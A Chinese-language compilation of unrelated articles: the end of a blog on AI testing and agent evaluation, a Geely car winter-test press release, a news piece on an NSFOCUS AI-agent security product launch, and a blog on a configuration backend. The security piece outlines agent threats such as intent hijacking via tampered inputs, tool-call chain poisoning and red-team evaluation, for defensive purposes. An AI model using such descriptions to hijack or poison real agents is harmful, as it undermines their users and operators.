3.6 AI无参考测试
做了 AI 执行后,我们开始思考 LLM 本身具备常识,也知道企业内部知识,是否可以做 AI 无参考测试?
我们做了探索,首先要做无参考测试,对模型精度要求较高,通用的多模态 LLM 较难满足。
因此,我们引入了监督微调(SFT LoRA),主要让 LLM:具备更细化的任务定义、明确输出格式便于工程化对接、注入内部知识和评判标准。
我们的算法团队做了不少建设,让业务团队可以聚焦在微调数据集。一条微调数据包括:Instruction、Input、Output,下图是一个最简单的案例:

当然这条微调数据并不好,它的 Output 缺少了很多内容, 比如:作答风格、结构化输出、内部知识、分析的过程和原因。我们从指令微调、思维链微调两部分对这条数据进行优化,如下图:

定义了数据结构,接着是如何生成大量的微调数据,一般需要训练集、验证集和测试集,前两者用于训练过程,后者用于最后的评估。
整个数据集包括正样本、负样本和混合样本,一般比例为 1:3,避免模型过度偏向“总是发现问题”。
数据集通过 LLM 合成,首先通过脚本抓取线上的原始样本(正样本),然后通过程序合成多个负样本。
结合样本图片和特定的 Prompt 用 LLM 来生成 Output,Prompt 中包括我们的内部知识、预期输出结构、作答风格。
目前我们的垂直模型正在微调中。

3.7 AI归因归类
当用例执行完成后,我们需要对失败用例进行分析,过往需要人工分析效率较低,100 条失败需要15分钟。
我们通过 AI 来提速这个过程,首先由 LLM 将单个失败总结核心原因,然后将类似原因的分组归类。
如右下图,一共 85 条失败用例,被快速归为了 3 组,且标明了核心原因。
人工可以非常快速的进行分析,100 条仅需 1 分钟。

整个归因归类过程,首先是对用例执行报告进行程序预处理。
程序主要将失败图片进行切片、步骤进行拆分。前者解决多模态 LLM 在大图下的幻觉及不稳定性,后者解决性能问题。
接着切片交给图片归因 Agent、步骤归因 Agent,进行并发分析。
再由总结 Agent 对原因进行合并总结,最后归类 Agent 对原因类似用例进行分组。
目前我们线上用例已 100% 覆盖 AI 归因归类,归因准确率为 85%。

3.8 AI用例修复
做了 AI 归因归类后,我们发现既然原因都知道了,何不让 LLM 自己修复?
因此,我们正在探索了 AI 用例修复,目前主要针对像素差异率波动、非核心元素变化的场景实现了修复。
如下图,AI 会对可修复场景进行建议,人工确认无误可一键修复。目前修复准确率 60%。

3.9 与 AI Coding 结合
以上就是我们在 AI Test 方向的实践,后续我们计划串联 AI Coding 和 AI Test。由 Coding Agent 生成测试目标,交由 Test Agent 对用例进行召回和生成,并完成后续的自动化测试工作。

4. Agent 评测:从炫酷飞起到生产落地
在 AI Coding 和 AI Test 中我们构建了大量的 Agent,需要一套 Agent 评测体系对它们进行评估反馈。
4.1 为什么需要评测
先看一张大家都很熟悉的图,我们看别人的 Agent 时都会觉得好炫酷跃跃欲试,然后自己也开始手搓 Agent。
做完后在开发环境或者小范围测试中表现也不错。
发布到生产后,各种奇奇怪怪的情况,用户提问的思路无法捉摸,最后还是要转人工。

我们需要知道,Agent 和传统软件不同,没办法列举完整的用例来保障效果。
软件测试目标固定、标准化、可复现,而 Agent 评测具有不确定性、开放性(比如用户提问)、多样化(比如模型回答)。
发布标准上,传统软件主要看功能点完成度,测试通过与否。 Agent 则需要用评测集进行多维度的指标评估。
Agent 开发完并不意味着达到生产发布标准,应该用评测指标作为依据。

4.2 评测集
开始 Agent 评测,首先需要准备评测集, 评测集的类型有:有参考、无参考、参考资料三种。
接着是评测集的构造,常见的方法有:人工标注、LLM 泛化、线上采样。
一个全新的 Agent 没有线上采样数据,我们可以通过人工标注 50-100 条的种子集,然后让 LLM 进行泛化。
评测集根据场景不同,也可以划分为:种子集、Badcase集(一般来源于用户反馈)、扩展集、对抗集、场景集(一般由业务场景决定)。

4.3 评测器
有了评测集之后是评测器,评测可以分为两种:人工评测、自动化评测。新的 Agent 初期由于评测标准不确定,可结合人工评测,随着调用增加,将人工评测维度沉淀为自动化评测。相较于人工,自动化评判尺度统一、主观偏差少。
自动化评测器包括: 托管(平台自带的评测器,可以快速启动评测项目)、 自定义(自行根据业务编写 Prompt 的裁判模型)、外部(由外部平台/服务提供)。自动化评测器可以由 LLM 作为裁判,可以是特定的算法验证(如 BLEU、CLIPScore等),也可以是业务逻辑验证。
评测器设计一般包括:评估步骤、打分标准、推理指令、少样本提示(正例/反例)、边界案例、基于业务的判断要点(如合规、医疗等场景)。评测打分用 0-5 分制归一,可以兼顾可解释性和区分度,让不同评测维度可以横向对比。另外,为裁判模型添加 CoT 可以提升可解释性、一致性,便于后续人工分析和优化。

4.4 评测指标
接着是评测指标的设定,首先需要先明确评测主体,可以是:基础模型、提示词版本、工具版本、召回的记忆等。
围绕主题设定评测指标,通常有四类:效果指标、技术指标、用户指标、业务指标。
另外裁判模型自身需要有评测指标:
- 人工一致性, 衡量模型评分与人工标注结果的一致程度;
- 评分方差,衡量模型打分的稳定性;
- 异常打分率;

4.5 反馈系统
除了人工评测、自动化评测外,生产中用户真实的反馈至关重要。能够帮助我们发现 Agnet 在实际应用中遇到的各种边界场景和潜在问题。
一般有两种方式:
- 显示反馈:需要用户明确操作(点赞/点踩)反馈,意图明确但反馈率较低;
- 隐式反馈:是用户使用流程中的行为数据,被采集并解释为反馈,可以获得较高反馈率,比如 AIGC 生成多张图片时,用户选用其中一张图;
对于反馈率低的问题,通过预设标签来减少用户行动成本,通过预设高评分来增加用户反馈意愿(人们更倾向吐槽而非夸赞)。
4.6 评测体系
以上这些组合在一起构成了我们完整的评测体系。
- 项目启动:由专门的评测人员和项目组成员,共同设定评测维度、创建评测器、建立种子集、泛化评测集,基于评测不断迭代/验证/反馈 Agent;
- 开发过程:在 Agent 迭代过程中,通过评测集和评测器进行线下实验;
- 生产环境: Agent 会产生日志和反馈,日志会通过评测器进行线上评测,Trace 可采样沉淀到评测集,另外反馈的 Badcase 也会沉淀到评测集;
所有 Agent 发布前都需要经过评测验证。

5. AI落地的一些经验
5.1 AI与程序的结合
首先是 AI 与程序,常见构建 Agent 的模块包括:程序计算节点、单一 LLM 节点、Workflow、Agentic。
可能有些人会觉得,Agentic 比 Workflow 好,Workflow 比单一 LLM 节点好,单一 LLM 节点比程序好。从我们实践来看,这四者之间没有绝对的优劣,通常需要根据业务场景进行多选和组合,其取决于场景对确定性、稳定性、创造性、自主性的侧重。
另外,程序和 LLM 也并非替代关系,LLM 更适合理解、规划、生成类任务,程序更适合确定性、稳定性、高性能任务。通过程序规避 LLM 的弱项是必要的,避免过度追求 AI 含量

5.2 AI与人的陷阱
接着是,AI与人,需要警惕两个陷阱:
- 在落地 AI Coding 的过程中,出现开发者对 LLM 生成代码的依赖,甚至出现不作判断直接提交的情况。保持开发团队的主观判断力非常必要。另外分场景追求 AI 生码,比如核心业务逻辑人写,非核心交由 AI 写;
- 在落地 AI Agent 的过程中,需要人工监督,应该**警惕人工监督大于迭代 Agent **的情况,将监督数据用于 Agent 迭代;

5.3 AI落地经验
最后总结下 AI 落地的关键经验:
- 区分创造性和执行性工作,现阶段 LLM 可以较好的完成执行性工作,这类场景较为合适;
- 落地从传统研发流程切入,寻求快速出 MVP 进行单点突破;
- 现阶段 AI 仍需大量人参与,过程中充分考虑人机协作,比如人机交互(人好用)、知识外化(人转化)、责任归属(人敢用);
- 同步建设私有化的 AI 基建,将行业能力与企业内部能力串联;
- Agent 的迭代不能先方案再开发,应该基于测试集和上下文工程快速试错;
- 最后在不同的场景分阶段落地,不要一蹴而就;

6. AI实践全景

以上是我们在研发全流程落地 AI 的实践:
- 我们通过软件工程(Software Engineering)和上下文工程(Context Engineering),将程序与 LLM 结合;
- 围绕研发的设计、编码、测试阶段落地 AI 能力;
- 过程中建设了 Agent 评测体系,不断反馈,持续迭代;
来源:juejin.cn/post/7592094358658138146
极限挑战,全球化新篇!吉利银河成为首个不补能直通北冰洋的国产新能源品牌
2月9日,随着冬测车队抵达极夜与严寒交织的北极腹地,吉利银河完成了一场跨越瑞典与挪威,总里程超1000公里不补能的冰雪全场景长测,这是自主品牌第一次完成跨洲际、远征北冰洋的冬测挑战。其中,吉利银河混动家族V900、M9、星舰7 EM-i、星耀8、A7、星耀6等车型,完成不补能直通北冰洋千里长测。品牌全系车型,更在Colmis试验场完成亚欧大陆纬度最高测试场挑战。与此同时,即将上市的吉利银河战舰等三款新车,以及醇氢动力车型也在北欧完成了首次冬标测试。

不同于国内常规冬测,吉利银河此次特意选址北欧高纬度地区,直面当地高湿度、黑冰路况等国内难以复刻的极端自然环境,精准模拟全球高纬度寒冷区域的真实用车场景。高湿极寒环境与极夜低光照条件的双重叠加,对车辆密封防雾、整车热管理系统,以及智驾传感器的环境感知能力提出了严苛的要求。而这正是吉利银河远征北欧的核心初衷,以最极致的自然实验室,全面校验品牌“全球研发、全球验证”的体系化技术能力。
此次不补能直通北冰洋的极限挑战,不仅彰显了吉利银河车型续航能力的硬核实力,更印证了品牌全维度的综合性能优势。本次冬测中,吉利银河围绕北欧极寒工况开展多维度专项验证,重点测试冬季ADAS(冬季主动安全功能测试)功能、高湿极寒环境适配性,车顶行李箱适配、冰雪路面牵引载重测试及冬季钉胎、AWD策略雪地标定,同时将低附着路面操控稳定性、整车热管理效率,以及冻融循环下的车辆环境耐久与密封可靠性纳入测试,实现车型极寒工况适配性与稳定性的全方位验证。
硬核表现的背后,是吉利银河针对性的技术攻坚与优化。品牌对四驱车型扭矩管理进行深度调校,实现毫秒级扭矩调节与全地形适配,有效破解冰雪路面打滑难题;新能源适配技术、欧7法规提前验证方案与除霜系统优化,确保车辆在极端低温、高湿度环境下的排放合规、车窗无霜与采暖高效;而甲醇动力车型更是实现超低温冷启动,成功攻克行业内的极寒启动痛点。此次北极冬测的圆满完成,为吉利银河的技术迭代升级、筑牢全球化产品根基奠定了坚实基础。
目前,吉利银河已形成了覆盖极寒到高温、沙漠到赛道的全场景测试能力,包括杭州湾中央试验基地、海南湿热试验基地、黑河高寒试验基地、吐鲁番高温试验基地、欧洲试验基地、云南高原试验基地共六大试验基地,构建起“研发-验证-迭代”的全球化闭环,满足全球车型开发与验证需要。吉利全球试验基地还将在国内外陆续建成16个全球试验基地,打造全天候、全地形、全场景的产品开发与验证能力。
对新能源技术极限的主动验证、对研发不遗余力的大力投入,是吉利银河超越竞品、持续领跑的核心底气。站在2026年1月销量助力吉利汽车登顶中国市场销冠的新起点上,吉利银河正以无畏的闯劲,将“全球研发、全球验证、全域安全”的理念转化为每一位用户触手可及的高价值体验。在全球化征程上,吉利银河已然在北极冰原上留下了属于中国力量的深刻印记,这不仅是“百万银河”时代开启后的首场全球化技术“亮剑”,更是中国汽车工业在世界顶级试炼场上完成的一次壮丽远征。未来,在世界的每一个角落,吉利银河都将像“本地车”一样安全、可靠,以世界的标准,打造世界级好车!

AI安全面临灵魂拷问:“意图篡改”怎么防?绿盟科技给你答案!

随着AI Agent规模化落地被按下“加速键”,其安全是否值得信任?意图篡改、调用链投毒、供应链漏洞、合规备案压力等问题,正成为企业AI落地路上的“绊脚石”。
应势而生,绿盟科技召开以“清风拂境 · 智御全域”为主题的大模型安全创新成果线上发布会。发布会从分析AI应用需求的变化入手,以体系化方案回应行业最迫切的大模型安全防护诉求,并重磅加码绿盟“清风卫”系列产品智能体安全能力,为各行业客户AI安全落地提供可落地、可验证的最新实战指南。
“意图博弈”威胁新起,AI安全红线在哪里?

绿盟科技高级安全研究员祝荣吉
2025年AI应用经历了从“对话助手”向“智能体”的能力跃迁,高速进步的背后暴露诸多隐患:智能体自主运行时,如何避免行为失控风险?自主智能体具备逻辑主权后,它的安全红线在哪里?随“智”而变,绿盟科技高级安全研究员祝荣吉介绍了AI能力演进与攻防焦点变化趋势。他基于Agent感知、规划、记忆、行动四大核心模块,针对性提出了“感知需净输入、规划需抗干扰、记忆需防污染、行动需控权限”的防御准则。
在攻防焦点的动态演进上,祝荣吉表示AI安全正由“内容检测”向“意图博弈”深度转向:2024年聚焦“内容博弈”,重点攻坚对话框安全,解决模型“言多必失”的合规问题;2025年迈入“协议生态”,随MCP工具协议的普及,风险面由对话端延伸至业务系统,核心在于构建调用链的生态信任;2026年的安全重心将直面“意图主权”,严防攻击者通过劫持感知信息实现深层意图篡改与指令劫持。
基于此演进趋势,会上正式发布AISS年度威胁关注矩阵。该矩阵纵向聚焦基座、数据、模型、应用、身份五大安全支柱,完成了从基础大模型到复杂Agent系统的风险透视。通过系统性梳理威胁的年度动态演进路径,矩阵旨在帮助企业在复杂多变的AI场景中精准识别风险优先级、锁定核心问题,真正实现从“盲目围堵”向“精准治理”的体系化演进与升级。
针对风险评估能力的落地,祝荣吉详细介绍了智能化红队评估的技术路径与方法论。绿盟科技依托动态数据集构建、智能风险判定及智能体业务信息探测等核心能力,通过与前沿攻防对抗方法的组合应用,实现了对MCP工具恶意利用、智能体意图劫持及预期外代码执行等新型风险的检测覆盖,真正将碎片化的红队经验转化为体系化的安全验证能力。
靠“补丁”没用,大模型安全如何实现“主动免疫”?

绿盟科技高级方案经理郝广宾
AI时代的安全,从来不是单点的“补丁式防护”,而是贯穿全流程的体系化工程,是整个AI生态的基石。绿盟科技高级方案经理郝广宾发表《“四道防线”守护大模型系统安全防护》的主题演讲,全面阐释了绿盟大模型系统安全方案,他提出“四道防线”纵深防御体系。该体系构建覆盖“开发、部署、运行”全流程的安全防护能力,以实现大模型从“被动响应”到“主动免疫”的安全升维,满足客户大模型系统安全合规应用与实战防护的双重需求。

【四道防线】实现“主动免疫”的安全升维
大模型系统开发阶段,打造“合规+校验”防线体系。要聚焦语料合规和组件安全,使用语料评估工具或服务,对全部训练数据、外挂知识库数据等进行清洗;优先采购部署经过备案的商业大模型服务,加强模型代码及组件完整性校验和安全测试,构建AI软件物料清单,剖析AI系统所依赖的各类组件,精准识别潜在三方供应链组件风险。
大模型系统部署阶段,构建“评测+加固”和“监测+防护”闭环自进化双道协同防线。让“评测”明确“防护”重点,“防护结果”反哺“模型评测”,打造“越用越聪明”的主动免疫体系。在大模型系统上线前,需围绕内容安全、对抗安全、AI红队、供应链等多维度开展安全评测,保障大模型系统安全上线;在大模型系统部署时,需围绕基础设施、模型、应用、数据等打造纵深防御,部署多级安全认证、多维联防围栏、原生应用防护、数据防泄漏等监测防护能力,打造特殊场景安全代答能力,守护大模型系统应用安全。
大模型系统应用运行阶段,优先加强大模型系统安全管理防线。从“监测预警”“应急处置”“供应链安全保障”“备案、标识双合规”等多维度开展大模型系统日常安全运营工作。
使用智能体接连踩坑,安全“防不住、查不清”?

绿盟科技高级产品经理李斌
基于对智能体安全风险的深度洞察,绿盟科技高级产品经理李斌围绕“资产管理、漏洞管理、运行时检测、MCP安全、数据安全、安全态势、安全审计”七大维度,详细介绍了覆盖智能体全生命周期的安全能力体系。发布会上,绿盟科技“清风卫”AI安全系列产品三大智能体安全组件全新亮相。
智能体资产与风险治理系统:支持对智能体核心组件(模型、工具、MCP、知识库、提示词等)进行细粒度发现与动态清点,构建资产与风险画像;
智能体运行时意图与行为安全防护:基于对智能体职责边界的AI建模,实时监测其与MCP、工具、外部系统的交互行为,实现对越权访问、数据泄露等风险的实时发现与自动阻断;
智能体红队测评与持续验证平台:依托AI红队测评引擎,基于智能体配置与业务场景生成针对性攻击用例,通过单轮与多轮对话模拟,深度挖掘潜在风险。
李斌强调,绿盟清风卫AI安全产品体系具备“平台化集成、场景化适配、自动化运营”三大特点,可灵活对接各类智能体开发平台与既有安全基础设施,为客户提供从开发态到运行态的一体化“监管控”能力。
从AI Copilot到AI Agent,从协作辅助到自主执行,大模型应用形态越深入业务核心,安全的重要性就越凸显。作为网络安全行业排头兵,绿盟科技始终秉承“巨人背后的专家”的使命,未来将持续跟踪AI应用风险与需求的变化,不断优化整体安全防护方案,升级产品和服务,为行业客户破解安全难题,让安全不再是AI创新的“顾虑”,而是驱动业务增长的“底气”!
“改个配置还要发版?”搞个配置后台不好吗
前言
之前我们公司有个项目组搞了个 AI 大模型推荐功能,眼看就要上架了,结果产品突然找过来说:
“那个 AI 推荐的模块先别放了,先隐藏吧,怕上架审核出问题。”
为了赶时间,技术那边就临时加了个判断,把入口在前端藏起来,赶紧发了个版本,算是暂时搞定。
结果没过几天,又说要发版本。我一问咋了?技术一脸生无可恋:
“产品又说 AI 那个功能现在可以公测了,要放出来了。”
好吧,那就再发一次......
然后没几天,产品又说要隐藏掉,说模型结果不稳定要临时下线。
“先别公测了,发现有问题,先关掉再说。”
听说那天技术已经气到跟产品去厕所单挑了……
我当时的内心 OS 是:这也太反复了吧?到底是想上还是不想上?
这种“上线前隐藏,上线后又展示,再隐藏”的操作,不是一次两次了。
所以我们当时就想了:
既然这些需求只是改个显示开关、调个默认值,为啥不干脆给他们一个“自助按钮”?别每次都让我们改代码发版本,产品自己调着玩不好吗?
于是我们开始在后台做一套简单的业务配置中心,目标就是:
- 产品、运营可以自己配置功能开关、文案、参数,不用找开发
- 配置修改能实时生效,不用再发版本
- 支持输入类型、下拉选项、开关按钮、范围数值,想怎么配就怎么配
这不是为了什么“大中台”,就是想解决那些一天三改、两小时一调的需求,把这些琐碎从开发日常里剥离出去。
这些配置,说改就改,好烦人
其实像上面的这个事情 在我们日常开发中太常见了。
举几个我亲身经历的例子就知道为啥我们非得搞个配置中心:
- 登录要不要加图形验证码?
一开始为了用户体验不加,结果突然哪天注册量暴涨,一查是黑产在刷。产品急了:“赶紧加验证码!”
技术临时改、测试、上线……黑产已经溜了,下次再刷又得重来一遍。为啥不做个开关自己控制? - 推荐功能的参数一天一个样
有一版产品说“默认推荐 5 个兴趣标签”,隔两天又改成 3 个,再过几天又要回 4 个,说“现在运营数据反馈不一样了”。
我寻思你都能自己看数据了,那你为啥不能自己改参数? - 短信通道经常切换
阿里、腾讯、网易云信……一个月能换仨。原因也很实在,要么是价格问题,要么是运营说“昨天验证码收不到”。
每次换通道都得技术去代码里改templateId、signName,我真想把接口都写成配置项,让你们爱换谁换谁。 - 活动逻辑说改就改
运营:“这个弹窗逻辑改一下,注册就弹。”
上了之后运营又说:“太打扰用户了,还是调成登录 3 天之后再弹。”
这不就一行逻辑的事,但每次都要发版真心烦。
像这些情况,改的不是业务逻辑,就是个值、个条件、个开关。但只要没抽出来配置,就只能靠技术手动改代码,一点都不优雅,还特别浪费时间。
所以后来我们就想,还是干脆统一搞个配置后台吧,把这些“天天改、随时调”的破事都收进去,让配置能看得见、改得了、控得住,技术这边也能轻松点。
之前我们配置到底怎么管的?说实话,说出来都不太好意思:
- 有的直接写死在代码里,变量名都不带解释的,谁写的谁才知道啥意思;
- 稍微规范一点的,会统一搞个 config 文件,但也只是“技术自己看得懂”的那种;
- 更混乱的是,有的配置写在 yml,有的塞在数据库,还有的干脆“哪里用到就哪里写”,找都找不到;
- 最离谱的是:业务运营类的配置和技术底层的配置,全堆一起,切短信通道这种运营配置放在 core-service 的 application.yml 里,看得人脑壳疼。
等到要改配置的时候,产品和运营根本不知道去哪改,开发也得翻半天才能定位是哪段逻辑控制的,甚至还会不小心把技术底层配置给动了……这种时候就明白了,没有一套清晰、隔离、可视化的配置系统,迟早乱套。
配置也要讲规矩,不能啥都往后台扔
当然,配置中心也不是说所有配置都往后台一丢就完事了。
我们踩过这个坑。
最早的时候我们也想偷懒,把所有配置(技术的、业务的、运营的)都塞在统一的配置文件里,比如 config.php 或 application.yml 里,统一读就完了,听起来挺美的。
但实际用下来,真的是——乱!成!一!锅!粥!
一方面,业务/运营配的东西,是给人看的,得讲人话。
比如:
- 推荐位默认展示几个内容?
- 某个功能在特定版本下是否开启?
- 发奖的触发条件设置为几天内登录?
这些运营同学自己都能理解,也希望自己能控制,那就该做成后台可配置、能预览、能实时生效的。
但另一方面,有些配置就不能乱动,或者干脆不应该给后台看到:
- MQ 消费 topic 名
- 数据库连接池配置
- 是否启用 debug 模式
- 线上某些敏感接口的限频值
如果我们把这些放给业务方看,他们可能都不知道是干嘛的,不小心点了一下,系统都能给整崩了……
所以后来我们就统一了一套大致的“配置分级规则”:
有些配置是纯技术底层的,比如 MQ 的 topic 名、接口限流的阈值、日志采样比例、数据库连接池大小……
这些属于“动一下系统都可能出事”的类型,不给任何后台入口,完全由技术团队内部维护,最好写死或写进 yml 里。
然后是那种纯运营向的配置,比如功能开关、首页推荐展示几个卡片、某段文案内容、活动弹窗的显示时间等等。
这些配置逻辑上不会出啥大问题,但会被运营天天来回调整,必须放后台让他们自己搞,不然技术早晚被烦死。
还有一种是产品经常会动的业务规则类配置,比如:
- 某个功能灰度给哪些版本开放;
- 某个打点逻辑的间隔时间怎么设;
- 是否对新用户显示某个引导。
这些其实也不属于“技术配置”,而是产品为了做 A/B 测试、做用户分群、验证效果临时改的,技术只负责“支持能力”,真正的“值”还是应该交给产品自己配。
我们就按照这个思路,把技术底层的隐藏掉,只暴露运营类和业务类配置给后台,谁负责谁管理。改错了好歹还能找到人。
这样一来,配置中心的边界清晰了,技术也不用再被无限兜底,系统也能跑得更稳定,团队分工也更顺。
配置中心该长啥样?我们定了几个目标
前面说了那么多需求、痛点、吵架场面(划掉),那我们到底想要一个什么样的配置中心呢?
说白了,我们的目标很简单:
能分清模块,分清人,分清配置类型,能改能看能预览,最好技术都不用管。
那我们是怎么拆功能的呢?最初的设计版本是这样的:
1. 配置要能分模块
不能全堆一起。
我们一个项目,最少有这些模块:系统相关、用户系统、运营活动、AI 任务、通知推送、发奖逻辑……每个模块都有自己的配置。
所以我们一开始就支持“按模块分组”,一个模块里挂多个配置项,清清楚楚谁负责啥,谁爱改啥自己管。
2. 每个配置项要有“类型”
这个最开始我们踩过坑。
最初只做了输入框,结果运营输入一堆错格式的东西,改出 bug。后来我们就定了:所有配置项必须类型化,根据使用场景来限定可选值/格式。
目前我们支持的类型大概是这几种:
- 输入框:最普通的文本输入,比如标题、url、提示语。
- 范围值:像“10~100”这种,就搞个最小|最大格式,自动校验。
- 下拉框:适合选模板、选模型、选渠道。
- 单选框:跟下拉差不多,看场景展示方式不同。
- 开关:很直观,是否开启、是否显示,一眼看懂。
- 多选框:比如支持多个渠道、多种规则生效。
每种类型不仅能展示、还能实时预览效果,这样产品在后台改的时候,不会因为“看不懂这个字段到底是啥”而填错。
3. 每个配置项还要有说明、默认值、排序、是否启用这些“附加属性”
比如说明字段是给人看的,告诉我们这个配置是干嘛的。
默认值是防止读取失败时兜底的。
排序值让我们在后台列表里好找,不然一堆配置乱七八糟的。
“是否启用”是加的一个保险,有些配置值可以保留但临时不生效,方便灰度切换或者留作备选。
4. 最重要的:配置改完必须能“立刻生效”
要是改完还得等发版、等服务重启,那这配置中心跟笔记本有啥区别?
所以我们后面加了热更新机制(这部分我后面会细讲),让配置一改,业务侧立刻拿到新值。
配置中心的数据库设计,我们是这么搞的
配置中心的本质,其实就是“配置的结构化存储 + 可控修改 + 有上下文管理”。
所以数据库是核心。我们一共设计了两个主表:模块表 + 配置项表。当然后续可以加变更记录表之类的,这里先讲核心结构。
1. 模块表:配置的分组归属
配置不能全堆一起,所以我们做了个“模块管理”表,每个模块代表一类业务,比如用户系统、AI 推荐、通知设置、发奖逻辑等。
表结构像下面这样:
CREATE TABLE `config_module` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`name` varchar(100) NOT NULL COMMENT '模块名称',
`sort` int(11) DEFAULT '0' COMMENT '排序值,越小越靠前',
`status` tinyint(4) DEFAULT '1' COMMENT '状态 1启用 0禁用',
`create_time` int(11) NOT NULL,
`update_time` int(11) DEFAULT NULL,
PRIMARY KEY (`id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='配置模块分组';
字段说明一下:
id就是主键name是模块名,比如“用户系统”、“活动发奖”sort控制在前端显示顺序,方便找status是不是启用这个模块的配置- 时间字段保留是为了后续查操作记录
2.配置项表:一条配置的所有核心信息
模块分好了之后,接下来就是每个模块下面的具体配置项。我们所有的配置内容,都存在这张 config 表里。
我们当时在设计的时候,就围绕几个问题来定字段的:
- 这个配置是给谁看的?(产品、运营、开发)
- 他们需要怎么填?(输入框?下拉?多选?)
- 填的时候怎么确保不出错?(要不要加参数说明?校验?默认值?)
- 配置项能不能启用/禁用?排序顺序怎么控制?
- 有没有必要展示说明/备注?
最终我们定下了下面这个表结构:
CREATE TABLE `config` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键ID',
`pid` int(10) unsigned NOT NULL DEFAULT '0' COMMENT '所属模块ID',
`name` varchar(100) NOT NULL COMMENT '配置项名称(展示用)',
`key` varchar(100) NOT NULL COMMENT '配置项key(英文唯一标识)',
`value` text COMMENT '配置项当前值',
`input_type` tinyint(4) NOT NULL DEFAULT '1' COMMENT '输入类型:1输入框 2范围 3下拉 4单选 5开关 6多选',
`param` text COMMENT '参数说明:选项或范围,如 "A-1|B-2|C-3"',
`desc` varchar(255) DEFAULT '' COMMENT '配置项说明/备注',
`sort` int(11) DEFAULT '0' COMMENT '排序值(越小越前)',
`status` tinyint(4) DEFAULT '1' COMMENT '状态:1启用 0禁用',
`create_time` int(11) NOT NULL,
`update_time` int(11) DEFAULT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `key` (`key`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COMMENT='系统配置项表';
字段说明:
id:自增主键,没啥说的。pid:配置项属于哪个模块(模块表里的 id)。name:配置项的中文名,比如“是否展示弹窗”。key:这个是英文标识,用来在代码里读取,比如home.pop.enabled。value:配置的当前值,比如1(开启)或{"a":1,"b":2}。input_type:决定这个配置项在后台怎么展示:
- 1 = 输入框
- 2 = 范围(比如“10|100”)
- 3 = 下拉框
- 4 = 单选按钮
- 5 = 开关
- 6 = 多选框
param:这个字段就很灵活了,用来定义下拉/单选/多选的选项,或者范围的上下限,比如:
"中文-zh|英文-en""10|100"
desc:配置项的说明,告诉用户这个配置干嘛的,防止乱填。sort:排序值,配置项多了之后按顺序展示比较清楚。status:这个配置当前是否启用,方便临时关闭某个配置而不删除它。create_time/update_time:时间戳,用来做修改记录、日志追踪之类的。UNIQUE KEY (key):保证每个配置 key 唯一,不会撞名。
总体来说,这张表的核心就是:一个配置项,长什么样、值是多少、长得像啥、能不能动,都在这张表里写清楚了。
模块设计:把配置管得清清楚楚,落到后台页面里
前面我们提到,配置中心一定要支持“按模块分组”,不然配置一多,找起来比翻快递单还费劲。
这里就简单说下我们是怎么把“模块”这个概念,真正落到后台界面和数据库结构里的。
我们每个模块其实就是一个大分类,比如:
- 系统配置
- 用户配置
- AI 相关配置
- 活动发奖配置
- 通知推送相关……
每个模块下可以挂多个配置项,类似“一个文件夹里放一类东西”。
我们后台页面上的模块管理界面,大概就长这样:

这里我们可以设计的支持排序、状态控制、修改、删除这些操作。
点击“新增模块”就会弹出这个表单:

看起来非常简洁对不对。上面的模块表结构对应的核心字段就三个:
- 模块名称:展示用,方便识别
- 排序值:用来控制前端列表显示顺序
- 是否启用:可以临时禁用整个模块下的配置项
后台页面支持模块的增删改查,基础功能已足够覆盖大多数业务配置需求。
当然,如果业务后续需要更复杂的结构(比如“系统配置 → 登录模块 → 登录相关配置”这种),我们也可以扩展支持二级模块或模块分组。当前只是保留了基础能力,足够轻量、上手快。
配置项怎么设计的?
有了模块分组之后,接下来的重头戏就是:配置项的核心玩法。
每个配置项,本质上就是一个“可调参数”。比如这些熟悉的问题:
- 用户登录要不要启用谷歌验证?
- 运营活动的推荐数值范围是多少?
- 发奖逻辑该切哪个短信商?
以前这些配置,不是写死在代码里,就是散落在 yml、env 文件里,甚至不同环境各一份,改一次还得发版,改完还得祈祷别出问题。
这次我们干脆做成可视化配置项,页面上就能:
新增、修改、启用/禁用
设置不同类型的输入方式
即填即预览,所见即所得
我们支持的配置类型包括:
- 输入框:适合输入纯文本,比如一个 URL、token、默认值等。
- 范围:用
最小值|最大值格式,比如推荐人数限制就写成10|100。 - 下拉选择:多个固定选项,用
|分隔,比如中文-zh|英文-en。 - 单选按钮:和下拉差不多,但前端展示为横向圆点,更直观。
- 开关:布尔值场景,1 是开启,0 是关闭。
- 多选框:允许选多个选项,比如某功能适用于多个角色、多个平台。
每种类型在新增配置时都有专属提示,比如范围要填最小|最大,下拉要写选项清单,填完之后还能看到实时预览,确保填的值就是我们想要的。
接下来我们就一个个举例,一边介绍场景,一边实际新增配置项来看效果。
类型一:输入框
适用场景:
输入框是最通用、最基础的配置类型,适合填写纯文本、数字、链接、key 等,不需要做复杂校验,直接存直接用。
常见场景举例:
default_jump_url:默认跳转链接,比如用户扫码登录后跳去哪个页面。login_timeout:用户登录状态超时时间,单位秒。system_notice:系统公告文案。token_prefix:JWT 或其它 token 的前缀标识。
我们现在来新增一个配置项:
- 所属模块:系统配置
- 配置名称:登录超时(秒)
- 配置 Key:
login_timeout - 输入类型:输入框
- 默认值:600
- 参数说明:留空(输入框不需要)
- 描述:用户登录后多少秒内无操作将自动退出
- 排序值:0
- 是否启用:是

类型二:范围(最小值 | 最大值)
适用场景:
范围类型适合那种“值不能随便填,必须在某个区间内”的配置,比如:
- 推荐系统中:每天最多推荐多少次?
- 活动配置中:用户每次最多能抽几次奖?
- 发奖逻辑中:奖励金额必须在一个上下限之间。
用配置来写这种规则,业务方只要改数字就行,不用再去翻代码或改逻辑,非常方便。
示例配置:推荐数值范围
假设我们现在要配置一个推荐值范围:
- 所属模块:系统配置
- 配置名称:每日推荐数量范围
- 配置 Key:
recommend_count_range - 输入类型:范围
- 默认值:50
- 参数说明:
10|100(表示最小值是 10,最大值是 100) - 描述:控制推荐系统每天给用户推荐的最小/最大条数
- 排序值:0
- 是否启用:是
我们在页面中选择「输入类型:范围」之后,系统会提示填写参数格式为:
最小值|最大值,例如:10|100

类型三:下拉选择(select)
适用场景:
如果某个配置值只能从一组选项中选一个,比如:
- 默认语言:中文 / 英文 / 日文
- 消息推送渠道:极光 / 个推 / 小米推送
- 推荐策略:粗放型 / 精细化 / AB 测试组
这类配置,业务经常调整,但必须选“规定范围内”的值,用下拉最合适。
示例配置:默认语言设置
我们现在来配置一个「默认语言」的选项:
